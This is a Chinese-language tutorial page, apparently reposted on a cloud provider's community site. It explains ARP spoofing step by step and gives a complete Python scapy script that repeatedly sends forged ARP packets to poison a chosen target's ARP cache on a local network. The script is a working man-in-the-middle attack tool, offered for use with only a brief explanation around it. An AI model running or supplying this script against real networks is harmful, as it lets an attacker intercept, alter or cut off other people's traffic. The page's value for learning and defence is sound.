python 使用scapy庫進行ARP欺騙

來源:互聯網
上載者:User

標籤:arp欺騙   scapy   python   arpspoofer   

1. 說明

  ARP欺騙(ARP spoofing),又稱ARP病毒(ARP poisoning)或ARP攻擊,是針對乙太網路位址解析通訊協定(ARP)的一種攻擊技術。此種攻擊可讓攻擊者擷取區域網路上的資料包甚至可篡改資料包,且可讓網路上特定電腦或所有電腦無法正常串連。最早探討ARP欺騙的文章是由Yuri Volobue所寫的《ARP與ICMP轉向遊戲》(ARP and ICMP redirection games)。
  由於區域網路的網路流通不是根據IP地址進行,而是根據MAC地址進行傳輸。所以,MAC地址在主機A上被偽造成一個不存在的MAC地址,這樣就會導致網路不通,主機A不能Ping通主機C!這就是一個簡單的ARP欺騙。

一個簡單的例子:這裡用一個最簡單的案例來說明ARP欺騙的核心步驟。假設在一個 LAN 裡,只有三台主機 A, B, C, 且 C 是攻擊者。
  
1. 攻擊者聆聽區域網路上的MAC地址。它只要收到兩台主機洪泛的ARP Request,就可以進行欺騙活動。
2. 主機A,B都洪泛了ARP Request.攻擊者現在有了兩台主機的IP、MAC地址,開始攻擊。
攻擊者發送一個 ARP Reply給主機B,把此包protocol header 裡的sender IP設為A的IP地址, sender mac設為攻擊者自己的MAC地址。
3. 主機B收到ARP Reply後,更新它的ARP表,把主機 A的條目 (IP_A, MAC_A)改為(IP_A, MAC_C)。
4. 當主機B要發送資料包給主機A時,它根據ARP表來封裝資料包的Link前序,把目的MAC地址設為MAC_C,而非MAC_A.
5. 當交換器收到B發送給A的資料包時,根據此包的目的MAC地址 (MAC_C) 而把資料包轉寄給攻擊者C.
6. 攻擊者收到資料包後,可以把它存起來後再發送給A,達到偷聽效果。攻擊者也可以篡改資料後才發送資料包給A,造成傷害。

2. python 代碼
#!/usr/bin/env pythonfrom scapy.all import *import sys, getoptdef usage():        print "Usage: sudo ./arpSpoofer.py [-i interface] <target> <host>"def main(argv):        try:                opts, args = getopt.getopt(argv, "hi:t:")        except getopt.GetoptError:                usage()                sys.exit(2)        for opt, arg in opts:                if opt in ("-h"):                        usage()                        sys.exit()                elif opt in ("-i"):                        conf.iface = arg        if len(args) < 2:                usage()                sys.exit(2)        send(ARP(op="who-has", psrc=args[1], pdst=args[0]), loop=1, inter=0.5)if __name__ == "__main__":    main(sys.argv[1:])

python 使用scapy庫進行ARP欺騙

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.